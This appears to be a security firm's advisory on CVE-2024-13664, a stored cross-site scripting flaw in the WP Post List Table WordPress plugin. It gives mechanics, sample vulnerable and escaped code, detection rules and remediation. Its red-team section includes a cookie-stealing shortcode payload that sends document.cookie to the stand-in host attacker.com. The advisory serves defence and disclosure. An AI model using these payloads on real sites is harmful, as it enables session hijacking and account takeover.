CVE-2024-13664

Executive Summary

CVE-2024-13664 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Post List Table WordPress plugin, affecting all versions up to and including 1.0.3. The flaw resides in the wpb_post_list_table shortcode, where user-supplied attributes are insufficiently sanitized and escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not currently patched, and no official update has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (Victim must visit the page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is medium due to the requirement for authenticated access and user interaction, but the potential for widespread script injection in a WordPress environment elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the wpb_post_list_table shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., title, category, post_type) before rendering them in the HTML output. An attacker with contributor-level access can create or edit a post containing the shortcode with malicious JavaScript payloads in the attributes. When the post is viewed, the payload executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or data theft.

The root cause is insufficient input validation and output escaping, typical of CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin does not use WordPress's built-in escaping functions like esc_attr() or wp_kses() for shortcode attributes.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the plugin's main PHP file. A typical vulnerable pattern might look like:

// Vulnerable code (example)
function wpb_post_list_table_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'category' => '',
    ), $atts);
    echo "<h2>" . $atts['title'] . "</h2>"; // No escaping
}

A patched version would use proper escaping:

// Patched code (example)
function wpb_post_list_table_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'category' => '',
    ), $atts);
    echo "<h2>" . esc_html($atts['title']) . "</h2>"; // Escaped
}

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress instance with WP Post List Table plugin <= 1.0.3, and a contributor-level account.
2. Craft Payload: Create a post with the shortcode [wpb_post_list_table title="<script>alert('XSS')</script>"].
3. Trigger: Publish the post and wait for an administrator or other user to view it.
4. Impact: The script executes, potentially stealing cookies or performing actions on behalf of the victim.

Example payload for cookie theft:

[wpb_post_list_table title="<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"]

Blue Team

1. Detection: Monitor for posts containing the wpb_post_list_table shortcode with suspicious attributes (e.g., <script> tags).
2. Prevention: Restrict contributor-level access or disable the plugin until a patch is available.
3. Response: If compromised, remove malicious posts and rotate affected user sessions.

Indicators of Compromise (IOCs)

• Network: HTTP requests to attacker.com/steal.php or similar exfiltration endpoints.
• Host: Posts containing [wpb_post_list_table with JavaScript payloads in attributes.
• Logs: WordPress audit logs showing post creation/editing by contributor users with unusual shortcode usage.

Detection Engineering

YARA Rule

rule CVE_2024_13664_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Post List Table shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13664"
    strings:
        $shortcode = /\[wpb_post_list_table[^\]]*\]/
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: Stored XSS via WP Post List Table Shortcode
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects posts containing malicious shortcode attributes
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Post created/updated
        PostContent|contains: 'wpb_post_list_table'
        PostContent|re: '<script[^>]*>.*</script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13664 Stored XSS Attempt"; flow:to_server,established; content:"wpb_post_list_table"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the WP Post List Table plugin until a patch is released.
• Workaround: Restrict contributor-level accounts and audit existing posts for malicious shortcode usage.
• Long-term: Apply input validation and output escaping using WordPress functions (esc_attr(), esc_html(), wp_kses()).
• Monitor: Subscribe to plugin updates and apply patches as soon as they become available.

Valters IT
Securing Digital Frontiers